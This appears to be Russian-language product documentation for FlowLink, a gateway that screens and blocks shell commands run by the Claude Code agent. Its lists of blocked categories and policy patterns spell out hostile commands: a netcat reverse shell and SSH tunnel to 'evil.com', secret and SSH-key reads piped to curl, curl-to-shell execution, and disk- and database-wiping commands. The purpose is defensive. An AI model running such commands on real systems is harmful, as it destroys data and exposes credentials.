Skip to content
ВозможностиДокументацияЦеныПартнёрыPlaygroundFAQ

Защита Claude Code с помощью FlowLink

Полное руководство по защите серверов от команд AI-агента Claude Code через FlowLink MCP-gateway

~10 min read

Обзор

Claude Code — мощный CLI-агент от Anthropic, который выполняет shell-команды от вашего имени. За одну сессию он может запустить 50–100+ команд — и не всегда безопасных.

FlowLink работает как MCP-сервер (gateway) между Claude Code и вашими серверами. Каждая команда проходит через 7-уровневый Shield: анализ паттернов, оценка риска, проверка политик — до того, как команда достигнет оболочки.

Реальные риски без защиты:

  • rm -rf /удаление критических файлов
  • DROP TABLE usersуничтожение базы данных
  • cat .env | curl ...утечка секретов
  • chmod 777 /var/wwwнарушение прав доступа
  • ssh -R 8080:localhost:80скрытый reverse-туннель

Установка

Шаг 1. Установите агент FlowLink на сервер

Выполните на каждом сервере, который Claude Code будет контролировать:

bash
1# Установка агента (требуется root)
2curl -fsSL https://flowlink.flow-masters.ru/install.sh | sh
3
4# Проверка статуса
5flowlink status

Шаг 2. Создайте API-ключ

Перейдите в Dashboard - API Keys и создайте ключ с нужными scopes.

Рекомендуемые scopes для Claude Code:

agents:readagents:executepolicies:readshield:readaudit:read

Шаг 3. Подключите FlowLink к Claude Code

Выберите один из способов:

Вариант A — через CLI (рекомендуется)

bash
1claude mcp add flowlink \
2 --url "https://flowlink.flow-masters.ru/mcp" \
3 --header "Authorization: Bearer flk_live_YOUR_API_KEY"

Вариант B — через файл конфигурации

Файл: ~/.claude/settings.json

json
1{
2 "mcpServers": {
3 "flowlink": {
4 "url": "https://flowlink.flow-masters.ru/mcp",
5 "headers": {
6 "Authorization": "Bearer flk_live_YOUR_API_KEY"
7 }
8 }
9 }
10}

Шаг 4. Проверьте подключение

bash
1# Перезапустите Claude Code и запросите:
2claude "List my FlowLink protected servers"
3
4# Ожидаемый результат: список агентов, подключённых к relay

Конфигурация

Полный пример конфигурации Claude Code

json
1{
2 "mcpServers": {
3 "flowlink": {
4 "url": "https://flowlink.flow-masters.ru/mcp",
5 "headers": {
6 "Authorization": "Bearer flk_live_YOUR_API_KEY"
7 }
8 }
9 },
10 "permissions": {
11 "allow": [
12 "Bash(git:*)",
13 "Bash(ls:*)",
14 "Bash(cat:*)",
15 "mcp__flowlink__*"
16 ],
17 "deny": [
18 "Bash(rm -rf:*)",
19 "Bash(sudo:*)"
20 ]
21 }
22}

Claude Code native permissions работают вместе с FlowLink — это двухуровневая защита.

Переменные окружения

VariableОписаниеПо умолчанию
FLOWLINK_API_KEYAPI-ключ для авторизацииОбязательна
FLOWLINK_ENDPOINTURL relay-сервераhttps://flowlink.flow-masters.ru/mcp
FLOWLINK_DRY_RUNВключить режим dry runfalse
FLOWLINK_APPROVAL_MODEauto / soft_ask / hard_askauto
FLOWLINK_LOG_LEVELdebug / info / warn / errorinfo

Self-hosted vs Cloud

Cloud (по умолчанию)

  • Нет установки relay-сервера
  • SaaS-панель с графиками и уведомлениями
  • Автоматические обновления
  • Подходит для большинства команд
json
1"url": "https://flowlink.flow-masters.ru/mcp"

Self-hosted

  • Полный контроль над данными
  • Работа внутри VPN / air-gapped сред
  • Docker Compose или Kubernetes
  • Требуется собственный relay
json
1"url": "https://flowlink.your-company.internal/mcp"

Как это работает

Архитектура запроса:

Claude Code-MCP Protocol-FlowLink Agent-Shield-Policy Engine-Execute / Block
  1. 1.
    Claude решает выполнить командуrm -rf /var/log/app
  2. 2.
    Команда отправляется через MCP-протокол в FlowLink relay
  3. 3.
    FlowLink Agent запускает 7-уровневый Shield: анализ паттернов, контекст, risk score95/100, категория«File Destruction»
  4. 4.
    Policy Engine проверяет правило block_destructive - DENY
  5. 5.
    Команда заблокирована. Claude получает ответ: "Command blocked by security policy"
  6. 6.
    Инцидент записывается в Audit Log. Вы получаете Telegram / webhook уведомление.

Время анализа: <1 мс. Задержка для безопасных команд незаметна.


Что блокируется

FlowLink автоматически обнаруживает и блокирует опасные команды, которые Claude Code может попытаться выполнить. Вот основные категории:

Деструктивные файловые операции

  • rm -rf / / rm -rf /*
  • mkfs.ext4 /dev/sda1
  • dd if=/dev/zero of=/dev/sda
  • shred -vfz -n 5 /disk

Уничтожение базы данных

  • DROP TABLE users
  • DROP DATABASE production
  • TRUNCATE TABLE orders
  • DELETE FROM users WHERE 1=1

Повышение привилегий

  • sudo rm -rf /
  • chmod 777 /etc/shadow
  • chown root:root ...
  • useradd -G sudo ...

Удалённое выполнение кода

  • curl http://... | sh
  • wget -qO- ... | bash
  • pip install http://untrusted-pkg
  • npm install --global http://...

Доступ к учётным данным

  • cat .env / cat ~/.ssh/id_rsa
  • aws s3 cp .env s3://...
  • gcloud secrets access ...
  • vault read secret/db-password

Сетевая эксфильтрация

  • ssh -R 8080:localhost:80 evil.com
  • nc -e /bin/bash evil.com 4444
  • scp -r /data evil@remote:/
  • rsync --remove-source-files ...

Dry Run - тестовый режим

Dry Run позволяет увидеть, что бы сделал Claude Code, не выполняя реальные команды. Идеально для первой настройки политик.

Включение Dry Run

bash
1# Через переменную окружения
2export FLOWLINK_DRY_RUN=true
3claude "Deploy the application to production"

Что происходит в Dry Run:

  • Каждая команда Claude анализируется через Shield
  • Risk score и политика отображаются в логах
  • Команда НЕ выполняется на сервере
  • Вместо реального результата Claude получает симуляцию
  • Все события записываются в Audit Log

Типичный сценарий:

Вы включаете Dry Run, просите Claude выполнить привычный рабочий сценарий (деплой, миграция, отладка). В Dashboard вы видите полный лог того, что бы произошло, и настраиваете политики до включения реального режима.


Approvals - подтверждение операций

Для чувствительных операций вы можете потребовать ручное подтверждение. Claude Code будет ждать вашего ответа перед выполнением.

Auto

Безопасные команды выполняются автоматически. Только блокировка опасных.

Рекомендуется для dev/stage

yaml
1approval_mode: auto

Soft Ask

Подозрительные команды ждут подтверждения. Если не ответили за 5 мин - выполняются.

Рекомендуется для production

yaml
1approval_mode: soft_ask
2timeout: 300s

Hard Ask

Все подозрительные команды требуют явного подтверждения. Без ответа - блок.

Рекомендуется для critical серверов

yaml
1approval_mode: hard_ask
2timeout: 0 # ждать бесконечно

Пример: политика с approval для Claude Code

yaml
1# Правило: claude_approval_required
2action: soft_ask
3timeout: 300s
4notify:
5 - telegram
6 - webhook
7patterns:
8 - "systemctl restart"
9 - "docker restart"
10 - "kubectl rollout restart"
11 - "ALTER TABLE"
12 - "CREATE INDEX"

Claude получит уведомление, что команда ожидает подтверждения. Вы увидите запрос в Telegram.


Примеры из практики

01. Деплой на production

Вы просите Claude: Задеплой новую версию на production-сервер. Claude планирует 12 команд.

PASSgit pull origin main- auto
PASSnpm ci --production- auto
PASSnpm run build- auto
WAITsystemctl restart myapp- soft_ask, ждёт подтверждения
BLOCKrm -rf /var/log/myapp/*- BLOCKED

02. Отладка сервера

Вы просите Claude: Найди причину высокой нагрузки CPU на сервере.

PASSps aux --sort=-%cpu | head -20- auto
PASSdocker stats --no-stream- auto
PASScat /var/log/syslog | tail -50- auto
WAITkill -9 12345- hard_ask, требует подтверждения

03. Миграция базы данных

Вы просите Claude: Примени миграцию для добавления колонки email в таблицу users.

PASSpsql -c "\\d users"- auto (read-only)
PASSpsql -c "SELECT COUNT(*) FROM users"- auto (read-only)
WAITALTER TABLE users ADD COLUMN email VARCHAR(255)- soft_ask, DDL операция
WAITCREATE INDEX idx_users_email ON users(email)- soft_ask
BLOCKDROP TABLE users- BLOCKED навсегда

Рекомендуемые политики для Claude Code

Создайте эти правила в Dashboard - Policies:

Блокировать - деструктивные команды

yaml
1# Правило: block_destructive
2action: deny
3patterns:
4 - "rm -rf /"
5 - "rm -rf /*"
6 - "mkfs.*"
7 - "dd if=/dev/zero"
8 - "DROP TABLE"
9 - "DROP DATABASE"
10 - "TRUNCATE TABLE"

Эти команды никогда не должны выполняться AI-агентом.

Требовать подтверждения - опасные операции

yaml
1# Правило: approval_required
2action: soft_ask
3patterns:
4 - "chmod 777"
5 - "chown root"
6 - "sudo rm"
7 - "ssh -R"
8 - "scp .*@"
9 - "curl.*|.*sh"
10 - "wget.*|.*sh"

Claude сможет выполнить, но вы получите уведомление и сможете отклонить.

Разрешить - безопасные команды

yaml
1# Правило: allow_safe
2action: allow
3patterns:
4 - "git status"
5 - "git log"
6 - "git diff"
7 - "ls"
8 - "cat *.log"
9 - "docker ps"
10 - "kubectl get pods"
11 - "ps aux"

Команды только для чтения - безопасны для авто-выполнения.


Решение проблем

Claude Code не видит MCP-инструменты FlowLink

Причина:

  • Неверный формат файла настроек
  • API-ключ не прошёл валидацию

Решение:

bash
1# Проверьте конфигурацию
2claude mcp list
3
4# Убедитесь, что MCP JSON валиден
5cat ~/.claude/settings.json | python3 -m json.tool
6
7# Проверьте API-ключ
8curl -H "Authorization: Bearer flk_live_YOUR_API_KEY" \
9 https://flowlink.flow-masters.ru/mcp/health

Все команды блокируются

Причина:

  • Нет политик allow - по умолчанию всё блокируется
  • Регулярные выражения в политиках слишком широкие

Решение:

bash
1# Проверьте логи FlowLink
2flowlink logs --tail 50
3
4# Посмотрите, какая политика сработала
5flowlink audit --last 10

Claude зависает на команде

Причина:

  • Режим hard_ask без настройки уведомлений - Claude ждёт бесконечно
  • Таймаут соединения с relay-сервером

Решение:

bash
1# Настройте таймаут для approval
2export FLOWLINK_APPROVAL_MODE=soft_ask
3export FLOWLINK_APPROVAL_TIMEOUT=300

Высокая задержка при выполнении команд

Причина:

  • Сервер relay далеко от вашего расположения
  • Слишком много политик с regex - используйте простые паттерны

Решение:

bash
1# Измерьте задержку до relay
2curl -w "Connect: %%{time_connect}s Total: %%{time_total}s" \
3 -o /dev/null -s https://flowlink.flow-masters.ru/mcp/health

Клавиша /mcp в Claude Code не показывает FlowLink

Причина:

  • Файл настроек находится не в том месте
  • Claude Code не был перезапущен после изменения конфигурации

Решение:

bash
1# Правильные пути для конфигурации:
2# ~/.claude/settings.json (глобально)
3# .claude/settings.json (в проекте)
4
5# Перезапустите Claude Code
6# Нажмите /mcp и убедитесь, что flowlink-relay в списке

FlowLink vs альтернативы

Claude PermissionsFalcoTetragonFlowLink
ФокусClaude-командыКонтейнерыeBPF securityAI-агенты / syscalls
MCP-осведомлённостьЧастичнаяНетНетДа
Approval workflowТолько CLI promptНетНетTelegram + API
7-уровневый pipelineНетНетНетДа
НастройкаВстроенаСложнаяСредняя1 строка

FlowLink дополняет Claude Code Permissions, а не заменяет их. Используйте оба слоя для максимальной защиты.

Edit this page